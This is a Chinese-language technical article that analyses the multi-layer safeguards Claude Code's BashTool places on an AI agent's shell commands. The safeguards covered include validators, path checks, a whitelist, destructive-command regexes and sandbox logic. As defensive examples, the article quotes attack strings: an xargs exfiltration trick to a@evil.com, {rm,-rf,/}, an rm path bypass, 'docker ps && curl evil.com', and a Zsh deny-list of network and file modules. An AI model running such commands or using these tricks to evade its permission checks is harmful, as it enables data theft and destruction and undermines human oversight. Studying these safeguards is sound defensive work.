本系列文章基于 Claude Code 2.1.88 版本的 TypeScript 源码进行分析。源码版权归 Anthropic 所有,本文仅用于技术研究。
引言
让 AI Agent 执行 Shell 命令是一项高风险操作。模型可能被 prompt 注入诱导执行恶意命令,也可能因"幻觉"生成危险操作。Claude Code 的 BashTool 模块为此构建了一套纵深防御体系,仅 bashSecurity.ts 一个文件就超过 2400 行,覆盖了从 Shell 元字符注入到 Zsh 特有攻击向量的 30 余种安全校验。
本文将从源码层面完整剖析这套安全体系的设计思路与实现细节。
涉及的核心源码文件:
src/tools/BashTool/bashSecurity.ts------ 核心安全校验管线(2400+ 行)src/tools/BashTool/pathValidation.ts------ 路径级安全校验src/tools/BashTool/destructiveCommandWarning.ts------ 破坏性命令警告src/tools/BashTool/readOnlyValidation.ts------ 只读命令白名单src/tools/BashTool/commandSemantics.ts------ 命令语义分析src/tools/BashTool/bashPermissions.ts------ 权限规则匹配src/tools/BashTool/shouldUseSandbox.ts------ 沙箱决策逻辑src/tools/BashTool/BashTool.tsx------ BashTool 主逻辑
一、安全校验管线:30+ 个独立验证函数
bashSecurity.ts 的核心设计是一条管线式(pipeline)校验链。每条命令在执行前需要通过一系列独立的验证函数,任一环节返回 ask(需要用户确认)即中断自动执行。
1.1 校验函数全景
以下是源码中实现的全部校验函数及其防御目标:
| 校验函数 | 防御目标 | 安全检查 ID |
|---|---|---|
validateEmpty |
空命令 | - |
validateIncompleteCommands |
不完整的命令片段(以 tab、flag、运算符开头) | 1 |
validateShellMetacharacters |
Shell 元字符注入 | 5 |
validateDangerousVariables |
危险环境变量(如 $IFS、$BASH_ENV) |
6 |
validateDangerousPatterns |
命令替换 $()、进程替换 <()、反引号等 |
8/9/10 |
validateRedirections |
输出重定向滥用 | 10 |
validateNewlines |
换行符注入(隐藏命令) | 7 |
validateCarriageReturn |
回车符注入(覆盖终端显示内容) | 17 |
validateIFSInjection |
IFS 变量注入(改变字段分隔符) | 11 |
validateProcEnvironAccess |
/proc 环境信息访问 |
13 |
validateMalformedTokenInjection |
畸形 token 注入 | 14 |
validateObfuscatedFlags |
混淆的命令行标志 | 4 |
validateBackslashEscapedWhitespace |
反斜杠转义空白字符 | 15 |
validateBackslashEscapedOperators |
反斜杠转义运算符 | 21 |
validateBraceExpansion |
花括号展开攻击(如 {rm,-rf,/}) |
16 |
validateUnicodeWhitespace |
Unicode 空白字符混淆 | 18 |
validateMidWordHash |
词中 # 注释欺骗 |
19 |
validateCommentQuoteDesync |
注释与引号不同步 | 22 |
validateQuotedNewline |
引号内换行符 | 23 |
validateZshDangerousCommands |
Zsh 特有的危险命令 | 20 |
validateGitCommit |
git commit 中的命令替换 | 12 |
validateJqCommand |
jq 的 system() 函数调用 |
2/3 |
validateSafeCommandSubstitution |
安全的命令替换白名单 | - |
每个校验函数都有对应的数字 ID,用于遥测日志记录:
typescript
const BASH_SECURITY_CHECK_IDS = {
INCOMPLETE_COMMANDS: 1,
JQ_SYSTEM_FUNCTION: 2,
SHELL_METACHARACTERS: 5,
DANGEROUS_VARIABLES: 6,
NEWLINES: 7,
// ... 共 23 个
} as const
1.2 引号提取:安全分析的基础
在执行校验之前,系统首先通过 extractQuotedContent 函数对命令进行引号提取,生成三个视图:
typescript
function extractQuotedContent(command: string): QuoteExtraction {
return {
withDoubleQuotes: string, // 移除单引号内容后的命令
fullyUnquoted: string, // 移除所有引号内容后的命令
unquotedKeepQuoteChars: string, // 移除引号内容但保留引号字符
}
}
不同的校验函数使用不同的视图。例如,validateMidWordHash 使用 unquotedKeepQuoteChars 来检测引号紧邻 # 的情况(如 echo 'x'#malicious),因为完全去引号会丢失这种邻接关系。
1.3 典型校验函数解析
validateIncompleteCommands ------ 检测不完整的命令片段:
typescript
function validateIncompleteCommands(context: ValidationContext): PermissionResult {
const trimmed = context.originalCommand.trim()
// 以 tab 开头 → 可能是粘贴的代码片段
if (/^\s*\t/.test(originalCommand)) {
return { behavior: 'ask', message: 'Command appears to be an incomplete fragment' }
}
// 以 flag 开头 → 可能是上一条命令的延续
if (trimmed.startsWith('-')) {
return { behavior: 'ask', message: 'Command starts with flags' }
}
// 以运算符开头 → 可能是管道的后半段
if (/^\s*(&&|\|\||;|>>?|<)/.test(originalCommand)) {
return { behavior: 'ask', message: 'Command starts with operator' }
}
}
validateBraceExpansion ------ 防御花括号展开攻击:
花括号展开是 Bash 的一个特性,{a,b,c} 会展开为 a b c。攻击者可以利用这一特性构造 {rm,-rf,/} 来绕过简单的命令检测。
validateZshDangerousCommands ------ 防御 Zsh 特有攻击:
源码中维护了一个 Zsh 危险命令集合,涵盖了模块加载、文件操作、网络通信等多个攻击面:
typescript
const ZSH_DANGEROUS_COMMANDS = new Set([
'zmodload', // 加载危险模块(mapfile、zpty、net/tcp 等)
'emulate', // -c 标志等价于 eval
'sysopen', // 精细控制的文件打开(zsh/system)
'sysread', // 文件描述符读取
'syswrite', // 文件描述符写入
'zpty', // 伪终端命令执行
'ztcp', // TCP 连接(数据外泄)
'zsocket', // Unix/TCP 套接字
'zf_rm', // zsh/files 内置 rm
'zf_mv', // zsh/files 内置 mv
// ... 更多
])
源码注释中详细解释了每个命令的危险性。例如 zmodload 被标记为"通往许多危险模块攻击的入口",因为它可以加载 zsh/mapfile(通过数组赋值实现不可见的文件 I/O)、zsh/net/tcp(通过 ztcp 实现网络数据外泄)等模块。
二、路径安全校验
pathValidation.ts 实现了对文件操作命令的路径级校验。
2.1 危险路径检测
checkDangerousRemovalPaths 函数检查 rm、rmdir 等命令的目标路径,拒绝对系统关键目录的操作:
typescript
function checkDangerousRemovalPaths(
command: 'rm' | 'rmdir', args: string[], cwd: string
): PermissionResult {
for (const path of paths) {
const absolutePath = isAbsolute(cleanPath)
? cleanPath
: resolve(cwd, cleanPath)
if (isDangerousRemovalPath(absolutePath)) {
return {
behavior: 'ask',
message: `Dangerous ${command} operation detected: '${absolutePath}'`,
suggestions: [], // 不提供"记住此选择"的建议
}
}
}
}
注意 suggestions: [] 这个细节------对于危险路径操作,系统不提供"记住此选择"的快捷方式,防止用户误操作后自动放行。
2.2 POSIX -- 分隔符处理
filterOutFlags 函数正确处理了 POSIX -- 分隔符,这是一个容易被忽略的安全细节:
typescript
function filterOutFlags(args: string[]): string[] {
let afterDoubleDash = false
for (const arg of args) {
if (afterDoubleDash) {
result.push(arg) // -- 之后的所有参数都是路径
} else if (arg === '--') {
afterDoubleDash = true
} else if (!arg?.startsWith('-')) {
result.push(arg)
}
}
}
源码注释中给出了具体的攻击场景:
rm -- -/../.claude/settings.local.json
如果不处理 --,-/../.claude/settings.local.json 会被当作 flag 而跳过路径校验,导致文件被删除而无需用户确认。
2.3 命令级路径提取器
系统为每种文件操作命令维护了独立的路径提取器(PATH_EXTRACTORS),覆盖了 cd、ls、find、mkdir、rm、mv、cp、cat、grep、sed、git、jq 等 30+ 种命令。每个提取器理解对应命令的参数语法,正确区分 flag 和路径参数。
三、只读命令白名单
readOnlyValidation.ts 实现了一套基于白名单的只读命令验证系统。这是安全体系中"允许"方向的设计------如果一条命令被证明是只读的,可以跳过权限提示。
3.1 白名单结构
每个命令的白名单配置包含安全 flag 列表和可选的额外校验:
typescript
type CommandConfig = {
safeFlags: Record<string, FlagArgType> // 安全 flag 及其参数类型
regex?: RegExp // 额外的正则校验
additionalCommandIsDangerousCallback?: (
rawCommand: string, args: string[]
) => boolean // 自定义危险检测
respectsDoubleDash?: boolean // 是否遵循 POSIX --
}
3.2 安全注释的价值
白名单中的安全注释是这套系统最有价值的部分之一。以 xargs 为例:
typescript
xargs: {
safeFlags: {
'-I': '{}',
// SECURITY: `-i` and `-e` (lowercase) REMOVED --- both use GNU getopt
// optional-attached-arg semantics (`i::`, `e::`).
//
// `-i` (`i::` --- optional replace-str):
// echo /usr/sbin/sendm | xargs -it tail a@evil.com
// validator: -it bundle (both 'none') OK, tail ∈ SAFE_TARGET → break
// GNU: -i replace-str=t, tail → /usr/sbin/sendmail → NETWORK EXFIL
'-n': 'number',
'-E': 'EOF', // POSIX, MANDATORY separate arg
}
}
这段注释详细解释了为什么 -i(小写)被移除:GNU getopt 的可选附加参数语义(i::)导致验证器和实际 xargs 对参数的解析不一致,攻击者可以利用这种不一致实现网络数据外泄。
类似的安全注释遍布整个白名单。tree 命令的 -R flag 被移除,因为:
typescript
// SECURITY: -R REMOVED. tree -R combined with -H (HTML mode) and -L (depth)
// WRITES 00Tree.html files to every subdirectory at the depth boundary.
// From man tree (< 2.1.0): "-R --- at each of them execute tree again
// adding `-o 00Tree.html` as a new option."
ps 命令的 BSD 风格 e 修饰符被阻止,因为它会显示环境变量(可能包含密钥):
typescript
additionalCommandIsDangerousCallback: (_rawCommand, args) => {
// Block BSD-style 'e' in letter-only tokens (not -e which is UNIX-style)
return args.some(
a => !a.startsWith('-') && /^[a-zA-Z]*e[a-zA-Z]*$/.test(a)
)
}
四、破坏性命令警告
destructiveCommandWarning.ts 实现了一套纯信息性的破坏性命令检测,用于在权限对话框中显示警告。
typescript
const DESTRUCTIVE_PATTERNS: DestructivePattern[] = [
// Git --- 数据丢失 / 难以恢复
{ pattern: /\bgit\s+reset\s+--hard\b/,
warning: 'Note: may discard uncommitted changes' },
{ pattern: /\bgit\s+push\b[^;&|\n]*--force\b/,
warning: 'Note: may overwrite remote history' },
{ pattern: /\bgit\s+clean\b.*-[a-zA-Z]*f/,
warning: 'Note: may permanently delete untracked files' },
// 数据库
{ pattern: /\b(DROP|TRUNCATE)\s+(TABLE|DATABASE)\b/i,
warning: 'Note: may drop or truncate database objects' },
// 基础设施
{ pattern: /\bkubectl\s+delete\b/,
warning: 'Note: may delete Kubernetes resources' },
{ pattern: /\bterraform\s+destroy\b/,
warning: 'Note: may destroy Terraform infrastructure' },
]
这套检测覆盖了 Git 操作(reset --hard、force push、clean -f、stash drop、branch -D、--no-verify)、文件删除(rm -rf)、数据库操作(DROP TABLE、DELETE FROM)和基础设施操作(kubectl delete、terraform destroy)。
注意这是"纯信息性"的------它不影响权限逻辑或自动审批,只在用户确认对话框中显示额外警告。
五、命令语义分析
commandSemantics.ts 解决了一个容易被忽略的问题:不同命令的退出码含义不同。
typescript
function getCommandSemantic(command: string): CommandSemantic {
const base = extractBaseCommand(command)
// grep 返回 1 = 未找到匹配,不是错误
// diff 返回 1 = 文件不同,不是错误
// test/[ 返回 1 = 条件为假,不是错误
}
如果不做语义分析,grep pattern file 返回 1(未找到匹配)会被误报为命令执行失败,导致 AI Agent 进入不必要的错误处理流程。
六、沙箱机制
shouldUseSandbox.ts 实现了沙箱执行的决策逻辑。
6.1 决策流程
typescript
export function shouldUseSandbox(input: Partial<SandboxInput>): boolean {
// 沙箱未启用 → 不使用
if (!SandboxManager.isSandboxingEnabled()) return false
// 显式禁用且策略允许 → 不使用
if (input.dangerouslyDisableSandbox &&
SandboxManager.areUnsandboxedCommandsAllowed()) return false
// 命令在排除列表中 → 不使用
if (containsExcludedCommand(input.command)) return false
return true
}
6.2 排除列表的安全边界
源码中有一段重要的注释:
typescript
// NOTE: excludedCommands is a user-facing convenience feature,
// not a security boundary. It is not a security bug to be able
// to bypass excludedCommands --- the sandbox permission system
// (which prompts users) is the actual security control.
排除列表是便利性功能,不是安全边界。真正的安全控制是沙箱权限系统(需要用户确认)。这种对安全边界的明确区分是工程实践中的重要原则。
6.3 复合命令处理
排除列表检查会将复合命令拆分为子命令逐一检查,防止攻击者通过 docker ps && curl evil.com 这样的复合命令绕过排除规则:
typescript
let subcommands: string[]
try {
subcommands = splitCommand_DEPRECATED(command)
} catch {
subcommands = [command]
}
七、分段权限检查
bashPermissions.ts 中的 segmentedCommandPermissionResult 实现了对管道命令的分段权限检查。
对于 cat file | grep pattern | wc -l 这样的管道命令,系统会将其拆分为三个独立段,对每一段分别进行权限校验。这确保了攻击者无法通过在管道中混入危险命令来绕过检查。
preparePermissionMatcher 方法进一步支持了基于 AST 的精确匹配:
typescript
async preparePermissionMatcher({ command }) {
const parsed = await parseForSecurity(command)
if (parsed.kind !== 'simple') {
return () => true // 无法解析 → 安全起见,触发 hook
}
// 基于 argv 匹配(去除前导 VAR=val)
const subcommands = parsed.commands.map(c => c.argv.join(' '))
return pattern => {
return subcommands.some(cmd => matchWildcardPattern(pattern, cmd))
}
}
这段代码处理了 FOO=bar git push 这样的命令------通过去除前导环境变量赋值,确保 Bash(git *) 规则能正确匹配。
八、BashTool 的整体安全架构
将上述所有组件组合起来,BashTool 的安全架构形成了一个多层防御体系:
用户/模型输入的命令
│
├─ 第 1 层:输入校验(validateInput)
│ └─ 检测 sleep 模式等
│
├─ 第 2 层:安全校验管线(bashSecurity.ts)
│ └─ 30+ 个独立验证函数
│
├─ 第 3 层:路径校验(pathValidation.ts)
│ └─ 危险路径检测、POSIX -- 处理
│
├─ 第 4 层:只读验证(readOnlyValidation.ts)
│ └─ 白名单匹配、flag 安全性验证
│
├─ 第 5 层:权限检查(bashPermissions.ts)
│ └─ 分段权限、通配符匹配、规则建议
│
├─ 第 6 层:破坏性警告(destructiveCommandWarning.ts)
│ └─ 用户确认对话框中的额外警告
│
└─ 第 7 层:沙箱执行(shouldUseSandbox.ts)
└─ 隔离环境中运行不受信任的命令
每一层都是独立的,任一层的失效不会导致整个体系失守。这就是"纵深防御"的核心思想。
九、设计启示
从这套安全体系中可以提炼出若干设计原则:
其一,fail-closed 优先。BashTool 的 buildTool 默认值中,isConcurrencySafe 默认为 false,isReadOnly 默认为 false。当系统无法判断命令的安全性时,默认要求用户确认。
其二,安全注释是资产。白名单中每个被移除的 flag 都附带了详细的攻击场景说明。这些注释不仅解释了"为什么不",还给出了具体的攻击路径,使得后续维护者能够理解每个决策的安全含义。
其三,区分安全边界与便利功能。沙箱排除列表明确标注为"非安全边界",避免了将便利性功能误当作安全控制的风险。
其四,语义感知减少误报。命令语义分析避免了将 grep 返回 1 误报为错误,减少了不必要的用户干预,提升了系统的可用性。
其五,遥测驱动迭代。每个安全检查都有数字 ID 用于遥测记录,使得团队能够追踪各类攻击向量的触发频率,指导后续的安全加固方向。
对于正在构建 AI Agent 系统的团队,这套安全体系最直接的参考价值在于:不要试图用一个"万能"的安全检查覆盖所有场景,而是构建多层独立的检查,每一层解决一类特定的安全问题。